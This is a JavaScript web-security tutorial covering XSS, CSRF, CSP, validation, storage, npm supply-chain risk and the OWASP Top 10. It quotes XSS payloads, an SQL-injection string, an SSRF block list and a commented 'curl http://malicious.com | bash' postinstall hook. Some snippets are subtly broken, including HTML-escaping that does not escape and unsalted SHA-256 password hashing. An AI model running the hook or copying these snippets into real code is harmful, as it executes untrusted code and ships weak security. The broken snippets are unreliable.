JavaScript — Security
JavaScript security is a critical concern for modern web applications. As the primary language of the web, JavaScript is both powerful and dangerous — it runs in the user's browser, has access to sensitive data, and can be manipulated by attackers. Security flaws in JavaScript code can lead to data breaches, account takeover, financial fraud, and legal liability.
Web security is a shared responsibility between the server and client. While the server enforces access control and validates input, the client-side code must protect against cross-site scripting (XSS), cross-site request forgery (CSRF), clickjacking, and other browser-based attacks. The principle of defense in depth applies — multiple layers of security are better than relying on any single protection.
This guide covers the most critical JavaScript security topics: XSS prevention, CSRF protection, Content Security Policy, input validation, secure storage, dependency management, and the OWASP Top 10 vulnerabilities as they apply to JavaScript applications. Security is not a feature — it is a property of the entire system.
| 1 | // The security mindset — trust nothing, validate everything |
| 2 | // Never trust user input, URL parameters, or API responses |
| 3 | |
| 4 | // DANGEROUS: Directly inserting user input into the DOM |
| 5 | const userInput = "<img src=x onerror=alert('XSS')>"; |
| 6 | element.innerHTML = userInput; // XSS vulnerability! |
| 7 | |
| 8 | // SAFE: Use textContent (automatically escapes HTML) |
| 9 | element.textContent = userInput; // Safe — content is text, not HTML |
| 10 | |
| 11 | // SAFE: Sanitize before inserting HTML |
| 12 | import DOMPurify from 'dompurify'; |
| 13 | element.innerHTML = DOMPurify.sanitize(userInput); |
| 14 | |
| 15 | // SAFE: Use trusted types (CSP enforcement) |
| 16 | if (trustedTypes && trustedTypes.createPolicy) { |
| 17 | const policy = trustedTypes.createPolicy('default', { |
| 18 | createHTML: (input) => DOMPurify.sanitize(input), |
| 19 | }); |
| 20 | element.innerHTML = policy.createHTML(userInput); |
| 21 | } |
| 22 | |
| 23 | // Principle: encode on output, not on input |
| 24 | // Store raw data, encode when rendering to the page |
| 25 | // This preserves data integrity while preventing injection |
Cross-Site Scripting (XSS) is the most common web security vulnerability. It occurs when an attacker injects malicious scripts into content that is then served to other users. Three types exist: Reflected XSS (malicious script in URL/request), Stored XSS (script persisted in database), and DOM-based XSS (client-side script processes untrusted data unsafely). All three are preventable with consistent encoding and sanitization.
| Context | Encoding Method | Example |
|---|---|---|
| HTML body | HTML entity encode | < → &lt; |
| HTML attribute | Attribute encode | " → " |
| JavaScript string | JS string escape | \\' → \\\\' |
| URL parameter | URL encode | space → %20 |
| CSS context | CSS escape | \\x00 → \\\\x00 |
| 1 | // XSS prevention strategies |
| 2 | |
| 3 | // 1. Always use textContent instead of innerHTML when possible |
| 4 | function safeRender(text) { |
| 5 | const div = document.createElement('div'); |
| 6 | div.textContent = text; // Safe — no HTML parsing |
| 7 | return div; |
| 8 | } |
| 9 | |
| 10 | // 2. Sanitize HTML input with DOMPurify or similar |
| 11 | import DOMPurify from 'dompurify'; |
| 12 | |
| 13 | const dirty = '<img src=x onerror="alert(1)">'; |
| 14 | const clean = DOMPurify.sanitize(dirty); |
| 15 | // Result: '<img src="x">' — onerror event removed |
| 16 | |
| 17 | // 3. Use React/JSX — they auto-escape by default |
| 18 | function UserProfile({ name, bio }) { |
| 19 | return ( |
| 20 | <div> |
| 21 | <h1>{name}</h1> {/* Auto-escaped */} |
| 22 | <p>{bio}</p> {/* Auto-escaped */} |
| 23 | </div> |
| 24 | ); |
| 25 | } |
| 26 | // WARNING: dangerouslySetInnerHTML bypasses escaping! |
| 27 | // <div dangerouslySetInnerHTML={{ __html: userContent }} /> |
| 28 | |
| 29 | // 4. Avoid eval-like functions |
| 30 | // NEVER use: eval(), new Function(), setTimeout(string) |
| 31 | // setInterval(string), document.write(), document.writeln() |
| 32 | |
| 33 | // DANGEROUS: eval with user input |
| 34 | const userCode = "alert('pwned')"; |
| 35 | // eval(userCode); // MAJOR vulnerability |
| 36 | |
| 37 | // SAFE: Use proper parsers for structured data |
| 38 | const json = JSON.parse(userInput); // Only parses JSON, not code |
| 39 | |
| 40 | // 5. CSP as a mitigation layer (not a replacement) |
| 41 | // Content-Security-Policy: script-src 'self' |
| 42 | |
| 43 | // 6. Sanitize URLs to prevent javascript: protocol attacks |
| 44 | function safeUrl(input) { |
| 45 | const url = new URL(input, window.location.origin); |
| 46 | if (url.protocol === 'javascript:' || url.protocol === 'data:') { |
| 47 | return 'about:blank'; |
| 48 | } |
| 49 | return url.href; |
| 50 | } |
| 51 | |
| 52 | // 7. Trusted Types API (Chrome/Edge) |
| 53 | if (window.trustedTypes) { |
| 54 | const escapePolicy = trustedTypes.createPolicy('escape', { |
| 55 | createHTML: (str) => str.replace(/</g, '<') |
| 56 | .replace(/>/g, '>') |
| 57 | .replace(/"/g, '"'), |
| 58 | }); |
| 59 | } |
warning
Cross-Site Request Forgery (CSRF) tricks an authenticated user into performing unintended actions on a web application. The attacker crafts a malicious page that sends a request to the target site — if the user is authenticated, the browser automatically includes cookies, making the request appear legitimate. CSRF attacks target state-changing requests (POST, PUT, DELETE), not data retrieval.
| 1 | // CSRF protection strategies |
| 2 | |
| 3 | // 1. SameSite cookies (modern, recommended) |
| 4 | // Set-Cookie: session=abc123; SameSite=Lax; Secure; HttpOnly |
| 5 | // SameSite=Lax: cookies sent for top-level navigations (GET) |
| 6 | // SameSite=Strict: cookies sent only for same-site requests |
| 7 | // SameSite=None: cookies sent cross-site (requires Secure) |
| 8 | |
| 9 | // Express.js example with SameSite cookies |
| 10 | app.use(session({ |
| 11 | cookie: { |
| 12 | sameSite: 'lax', // prevents CSRF for mutating methods |
| 13 | secure: true, // only send over HTTPS |
| 14 | httpOnly: true, // prevent JavaScript access |
| 15 | }, |
| 16 | })); |
| 17 | |
| 18 | // 2. CSRF tokens — for when SameSite is not enough |
| 19 | // Server generates a token, client sends it with mutating requests |
| 20 | function csrfTokenMiddleware(req, res, next) { |
| 21 | if (req.method === 'GET') { |
| 22 | res.cookie('csrf-token', generateToken()); |
| 23 | } else { |
| 24 | const token = req.headers['x-csrf-token']; |
| 25 | const stored = req.cookies['csrf-token']; |
| 26 | if (!token || token !== stored) { |
| 27 | return res.status(403).json({ error: 'CSRF validation failed' }); |
| 28 | } |
| 29 | } |
| 30 | next(); |
| 31 | } |
| 32 | |
| 33 | // 3. Custom headers — simple CSRF protection |
| 34 | // API endpoints check for a custom header |
| 35 | // fetch('/api/data', { |
| 36 | // method: 'POST', |
| 37 | // headers: { |
| 38 | // 'X-Requested-With': 'XMLHttpRequest', |
| 39 | // 'Content-Type': 'application/json', |
| 40 | // }, |
| 41 | // body: JSON.stringify(data), |
| 42 | // }); |
| 43 | // Browsers enforce CORS on custom headers — prevents simple CSRF |
| 44 | |
| 45 | // 4. Double Submit Cookie pattern |
| 46 | // Send the same random token in a cookie and a request header |
| 47 | // Server compares them without storing server-side |
| 48 | |
| 49 | // 5. Origin/Referer header validation |
| 50 | // Server checks Origin or Referer header matches allowed origins |
| 51 | function checkOrigin(req, res, next) { |
| 52 | const origin = req.headers.origin || req.headers.referer; |
| 53 | if (origin && !ALLOWED_ORIGINS.includes(origin)) { |
| 54 | return res.status(403).json({ error: 'Invalid origin' }); |
| 55 | } |
| 56 | next(); |
| 57 | } |
info
Content Security Policy (CSP) is a browser security mechanism that mitigates XSS and data injection attacks. CSP works by defining a whitelist of trusted sources for executable content — scripts, styles, fonts, images, and more. When a page violates the policy, the browser blocks the resource or reports the violation (depending on the policy mode).
CSP is configured via the Content-Security-Policy HTTP header or a <meta> tag. A well-crafted CSP provides defense in depth — even if an XSS vulnerability exists, the attacker's payload may be blocked by the policy. CSP should never be the only defense, but it is a powerful safety net.
| 1 | // Content-Security-Policy header examples |
| 2 | |
| 3 | // Strict CSP — recommended for most applications |
| 4 | // Content-Security-Policy: |
| 5 | // default-src 'self'; |
| 6 | // script-src 'self'; |
| 7 | // style-src 'self' 'unsafe-inline'; |
| 8 | // img-src 'self' data: https:; |
| 9 | // font-src 'self' https://fonts.gstatic.com; |
| 10 | // connect-src 'self' https://api.example.com; |
| 11 | // frame-ancestors 'none'; |
| 12 | // base-uri 'self'; |
| 13 | // form-action 'self'; |
| 14 | |
| 15 | // Nonce-based CSP — allow specific inline scripts |
| 16 | // Content-Security-Policy: script-src 'nonce-abc123' |
| 17 | <script nonce="abc123"> |
| 18 | console.log('This inline script is allowed'); |
| 19 | </script> |
| 20 | |
| 21 | // Hash-based CSP — allow scripts by their content hash |
| 22 | // Content-Security-Policy: script-src 'sha256-abc123...' |
| 23 | // Generate hash: echo -n "alert('hello')" | openssl dgst -sha256 -binary | base64 |
| 24 | |
| 25 | // Strict dynamic CSP (recommended by Google) |
| 26 | // Content-Security-Policy: |
| 27 | // script-src 'strict-dynamic' 'nonce-abc123'; |
| 28 | // object-src 'none'; |
| 29 | // base-uri 'none'; |
| 30 | |
| 31 | // Reporting — detect violations without blocking |
| 32 | // Content-Security-Policy-Report-Only: |
| 33 | // default-src 'self'; |
| 34 | // report-uri /csp-violation; |
| 35 | |
| 36 | // Express middleware for CSP |
| 37 | app.use((req, res, next) => { |
| 38 | res.setHeader( |
| 39 | 'Content-Security-Policy', |
| 40 | [ |
| 41 | "default-src 'self'", |
| 42 | "script-src 'strict-dynamic' 'nonce-" + res.locals.nonce + "'", |
| 43 | "style-src 'self' 'unsafe-inline'", |
| 44 | "img-src 'self' data:", |
| 45 | "font-src 'self'", |
| 46 | "connect-src 'self'", |
| 47 | "frame-ancestors 'none'", |
| 48 | "base-uri 'self'", |
| 49 | "form-action 'self'", |
| 50 | ].join('; ') |
| 51 | ); |
| 52 | next(); |
| 53 | }); |
| 54 | |
| 55 | // CSP violation report handler |
| 56 | app.post('/csp-violation', (req, res) => { |
| 57 | const report = req.body['csp-report']; |
| 58 | console.warn('CSP Violation:', { |
| 59 | blocked: report['blocked-uri'], |
| 60 | violated: report['violated-directive'], |
| 61 | page: report['document-uri'], |
| 62 | }); |
| 63 | res.status(204).end(); |
| 64 | }); |
best practice
Input validation is the first line of defense against injection attacks. All user-supplied data — form fields, URL parameters, headers, cookies, file uploads — must be validated before processing. Validation should occur on both client (for UX) and server (for security). Client-side validation is bypassable; server-side validation is the authoritative gate.
| 1 | // Server-side input validation with Zod |
| 2 | import { z } from 'zod'; |
| 3 | |
| 4 | // Define a schema for user registration |
| 5 | const UserSchema = z.object({ |
| 6 | email: z.string().email('Invalid email format'), |
| 7 | password: z |
| 8 | .string() |
| 9 | .min(8, 'Password must be at least 8 characters') |
| 10 | .max(100, 'Password too long') |
| 11 | .regex(/[A-Z]/, 'Must contain uppercase') |
| 12 | .regex(/[0-9]/, 'Must contain number'), |
| 13 | age: z |
| 14 | .number() |
| 15 | .int() |
| 16 | .min(13, 'Must be at least 13') |
| 17 | .max(120, 'Invalid age'), |
| 18 | name: z |
| 19 | .string() |
| 20 | .min(1, 'Name is required') |
| 21 | .max(50, 'Name too long') |
| 22 | .trim(), |
| 23 | role: z.enum(['user', 'admin']).default('user'), |
| 24 | }); |
| 25 | |
| 26 | // Validate input at the API boundary |
| 27 | app.post('/api/register', (req, res) => { |
| 28 | const result = UserSchema.safeParse(req.body); |
| 29 | |
| 30 | if (!result.success) { |
| 31 | return res.status(400).json({ |
| 32 | error: 'Validation failed', |
| 33 | details: result.error.flatten().fieldErrors, |
| 34 | }); |
| 35 | } |
| 36 | |
| 37 | const cleanData = result.data; // fully validated and typed |
| 38 | // Process cleanData... |
| 39 | }); |
| 40 | |
| 41 | // SQL injection prevention — always use parameterized queries |
| 42 | // DANGEROUS: string interpolation |
| 43 | // db.query(`SELECT * FROM users WHERE id = '${req.params.id}'`); // SQL injection! |
| 44 | |
| 45 | // SAFE: parameterized query |
| 46 | db.query('SELECT * FROM users WHERE id = $1', [req.params.id]); |
| 47 | |
| 48 | // NoSQL injection prevention (MongoDB) |
| 49 | // DANGEROUS: |
| 50 | // db.collection('users').find({ username: req.body.username }); // NoSQL injection! |
| 51 | |
| 52 | // SAFE: sanitize or use a type-checked query builder |
| 53 | const UserQuery = z.object({ |
| 54 | username: z.string().min(1).max(50), |
| 55 | }); |
| 56 | const query = UserQuery.parse(req.body); |
| 57 | db.collection('users').find({ username: query.username }); |
| 58 | |
| 59 | // Path traversal prevention |
| 60 | import path from 'path'; |
| 61 | |
| 62 | function safeFilePath(userInput, baseDir) { |
| 63 | const sanitized = path.normalize(userInput).replace(/^(..[/\\])+/, ''); |
| 64 | const filePath = path.join(baseDir, sanitized); |
| 65 | if (!filePath.startsWith(baseDir)) { |
| 66 | throw new Error('Path traversal detected'); |
| 67 | } |
| 68 | return filePath; |
| 69 | } |
warning
Storing sensitive data in the browser requires careful consideration. localStorage, sessionStorage, and IndexedDB are all accessible to any JavaScript running on the same origin — including third-party scripts. For authenticated sessions, use HttpOnly cookies that are inaccessible to JavaScript. For API tokens, consider short-lived tokens with refresh flows.
| Storage | JS Accessible | Persistence | Best For |
|---|---|---|---|
| HttpOnly Cookie | No | Session or persistent | Session tokens, auth credentials |
| localStorage | Yes | Until cleared | Non-sensitive preferences, cache |
| sessionStorage | Yes | Until tab closes | Session-scoped UI state |
| IndexedDB | Yes | Until cleared | Large client-side data stores |
| Memory | Yes (in-scope) | Until page refresh | Sensitive data during current session |
| 1 | // Secure storage patterns |
| 2 | |
| 3 | // 1. Use HttpOnly cookies for authentication |
| 4 | // Server-side cookie configuration: |
| 5 | // Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=86400 |
| 6 | // HttpOnly: prevents JavaScript access (XSS-resistant) |
| 7 | // Secure: only sent over HTTPS |
| 8 | // SameSite=Lax: prevents CSRF for non-GET requests |
| 9 | |
| 10 | // 2. Token-based auth — store in memory, not localStorage |
| 11 | let accessToken = null; |
| 12 | |
| 13 | async function login(credentials) { |
| 14 | const res = await fetch('/api/login', { |
| 15 | method: 'POST', |
| 16 | body: JSON.stringify(credentials), |
| 17 | headers: { 'Content-Type': 'application/json' }, |
| 18 | }); |
| 19 | |
| 20 | const { token, refreshToken } = await res.json(); |
| 21 | |
| 22 | // Store access token in memory |
| 23 | accessToken = token; |
| 24 | |
| 25 | // Store refresh token in HttpOnly cookie (server sets this) |
| 26 | // Or use a Web Worker to isolate the refresh token |
| 27 | return token; |
| 28 | } |
| 29 | |
| 30 | // 3. Avoid storing secrets in localStorage |
| 31 | // localStorage.getItem('api-key'); // BAD — accessible to all same-origin JS |
| 32 | |
| 33 | // 4. Web Worker isolation for sensitive operations |
| 34 | // const secureWorker = new Worker('secure-worker.js'); |
| 35 | // secureWorker.postMessage({ type: 'decrypt', data: encrypted }); |
| 36 | // The main thread never sees the decryption key |
| 37 | |
| 38 | // 5. Cache-control for sensitive data |
| 39 | fetch('/api/sensitive-data', { |
| 40 | headers: { |
| 41 | 'Cache-Control': 'no-store', |
| 42 | 'Pragma': 'no-cache', |
| 43 | }, |
| 44 | }); |
| 45 | |
| 46 | // 6. Clear sensitive data on tab close / logout |
| 47 | function logout() { |
| 48 | accessToken = null; |
| 49 | // Clear session storage |
| 50 | sessionStorage.clear(); |
| 51 | // Clear specific localStorage keys (not all — respect preferences) |
| 52 | localStorage.removeItem('sensitive-data'); |
| 53 | } |
pro tip
Modern JavaScript applications rely on hundreds or thousands of third-party packages. Each dependency is a potential attack vector — compromised packages can steal credentials, inject malware, or exfiltrate data. The npm supply chain has been targeted by typosquatting, dependency confusion, account takeover, and malicious maintainer attacks.
| Threat | Description | Mitigation |
|---|---|---|
| Typosquatting | Packages with similar names to popular ones | Verify package names, use npm audit |
| Dependency confusion | Private package name taken in public registry | Scoped packages (@scope/name), .npmrc registry config |
| Malicious updates | Compromised maintainer pushes malicious code | Lockfiles, version pinning, dependency review |
| Known CVEs | Publicly known vulnerabilities in dependencies | npm audit, Dependabot, Snyk, Renovate |
| Supply chain | Compromised build tools or CI pipelines | Lockfile integrity, signed commits, SBOM |
| 1 | // Dependency security practices |
| 2 | |
| 3 | // 1. Use lockfiles (package-lock.json, yarn.lock, pnpm-lock.yaml) |
| 4 | // Lockfiles ensure deterministic installs and prevent supply chain attacks |
| 5 | // Always commit lockfiles to version control! |
| 6 | |
| 7 | // 2. Audit dependencies regularly |
| 8 | // npm audit — check for known vulnerabilities |
| 9 | // npm audit fix — auto-fix patch-level vulnerabilities |
| 10 | // npm audit fix --force — may break APIs (use with caution) |
| 11 | |
| 12 | // 3. Use npm audit CI integration |
| 13 | // package.json: "scripts": { "audit": "npm audit --audit-level=high" } |
| 14 | |
| 15 | // 4. Dependabot / Renovate — automated dependency updates |
| 16 | // Configure in .github/dependabot.yml: |
| 17 | // version: 2 |
| 18 | // updates: |
| 19 | // - package-ecosystem: "npm" |
| 20 | // directory: "/" |
| 21 | // schedule: |
| 22 | // interval: "weekly" |
| 23 | // open-pull-requests-limit: 10 |
| 24 | |
| 25 | // 5. Check package integrity before installation |
| 26 | // npm install --ignore-scripts (disables install scripts) |
| 27 | // npm config set ignore-scripts true |
| 28 | |
| 29 | // 6. Socket.dev or similar — real-time dependency risk assessment |
| 30 | // npx socket scan # Scan your project for supply chain risks |
| 31 | |
| 32 | // 7. Review package.json for risky patterns |
| 33 | // "postinstall": "curl http://malicious.com | bash" // DANGEROUS! |
| 34 | // package.json "scripts" should never execute network requests |
| 35 | |
| 36 | // 8. Minimize dependency count |
| 37 | // Before adding a dependency, ask: |
| 38 | // - Can I write this in 20 lines of code? |
| 39 | // - Is the package actively maintained? |
| 40 | // - Does it have known vulnerabilities? |
| 41 | // - What is the bundle size impact? |
| 42 | |
| 43 | // 9. Use Subresource Integrity (SRI) for CDN scripts |
| 44 | // <script |
| 45 | // src="https://cdn.example.com/lib.js" |
| 46 | // integrity="sha384-abc123..." |
| 47 | // crossorigin="anonymous" |
| 48 | // ></script> |
| 49 | // SRI ensures the browser checks the script hash before executing |
| 50 | |
| 51 | // 10. Generate SBOM (Software Bill of Materials) |
| 52 | // npx sbom-utility generate -f cyclonedx -o sbom.json |
best practice
The OWASP Top 10 is the standard awareness document for web application security. It represents a broad consensus on the most critical security risks. While some items are primarily server-side concerns, client-side JavaScript plays a role in preventing or mitigating nearly all of them.
| Rank | Risk | JS Relevance |
|---|---|---|
| A01 | Broken Access Control | Never rely on client-side checks; enforce on server |
| A02 | Cryptographic Failures | Use Web Crypto API, not custom crypto |
| A03 | Injection | XSS, SQL/NoSQL injection — validate and encode |
| A04 | Insecure Design | Threat modeling, security by design |
| A05 | Security Misconfiguration | CSP headers, CORS config, remove debug endpoints |
| A06 | Vulnerable Components | Keep npm dependencies updated, audit regularly |
| A07 | Auth Failures | Secure session management, HttpOnly cookies |
| A08 | Data Integrity Failures | Subresource Integrity, signed tokens |
| A09 | Logging & Monitoring | Log client-side errors, monitor CSP violations |
| A10 | SSRF | Validate URLs, restrict fetch destinations |
| 1 | // OWASP Top 10 — practical JavaScript mitigations |
| 2 | |
| 3 | // A02: Cryptographic Failures — use Web Crypto API, never custom crypto |
| 4 | async function hashPassword(password) { |
| 5 | const encoder = new TextEncoder(); |
| 6 | const data = encoder.encode(password); |
| 7 | const hash = await crypto.subtle.digest('SHA-256', data); |
| 8 | return Array.from(new Uint8Array(hash)) |
| 9 | .map(b => b.toString(16).padStart(2, '0')) |
| 10 | .join(''); |
| 11 | } |
| 12 | |
| 13 | // A05: Security Misconfiguration — CSP headers |
| 14 | // Set via server response: |
| 15 | // Content-Security-Policy: default-src 'self' |
| 16 | |
| 17 | // A05: CORS configuration — be specific, not permissive |
| 18 | // BAD: Access-Control-Allow-Origin: * |
| 19 | // GOOD: Access-Control-Allow-Origin: https://app.example.com |
| 20 | |
| 21 | // A06: Vulnerable Components — audit script |
| 22 | // const { execSync } = require('child_process'); |
| 23 | // const audit = JSON.parse(execSync('npm audit --json').toString()); |
| 24 | // const critical = audit.vulnerabilities |
| 25 | // .filter(v => v.severity === 'critical'); |
| 26 | // if (critical.length > 0) process.exit(1); |
| 27 | |
| 28 | // A08: Data Integrity — SRI for external resources |
| 29 | // Verify integrity of third-party scripts before execution |
| 30 | function loadScriptWithSRI(url, integrity) { |
| 31 | return new Promise((resolve, reject) => { |
| 32 | const script = document.createElement('script'); |
| 33 | script.src = url; |
| 34 | script.integrity = integrity; |
| 35 | script.crossOrigin = 'anonymous'; |
| 36 | script.onload = resolve; |
| 37 | script.onerror = reject; |
| 38 | document.head.appendChild(script); |
| 39 | }); |
| 40 | } |
| 41 | |
| 42 | // A09: Logging & Monitoring — client-side error tracking |
| 43 | window.addEventListener('error', (event) => { |
| 44 | fetch('/api/client-error', { |
| 45 | method: 'POST', |
| 46 | body: JSON.stringify({ |
| 47 | message: event.message, |
| 48 | filename: event.filename, |
| 49 | lineno: event.lineno, |
| 50 | colno: event.colno, |
| 51 | stack: event.error?.stack, |
| 52 | url: window.location.href, |
| 53 | userAgent: navigator.userAgent, |
| 54 | }), |
| 55 | headers: { 'Content-Type': 'application/json' }, |
| 56 | }).catch(() => {}); // fire and forget |
| 57 | }); |
| 58 | |
| 59 | // A10: SSRF — validate URLs before fetching |
| 60 | function validateUrl(input) { |
| 61 | try { |
| 62 | const url = new URL(input); |
| 63 | const blocked = ['169.254.169.254', '127.0.0.1', 'localhost', '[::1]']; |
| 64 | if (blocked.some(h => url.hostname.includes(h))) { |
| 65 | throw new Error('Blocked internal address'); |
| 66 | } |
| 67 | return url.href; |
| 68 | } catch { |
| 69 | return null; |
| 70 | } |
| 71 | } |
pro tip
pro tip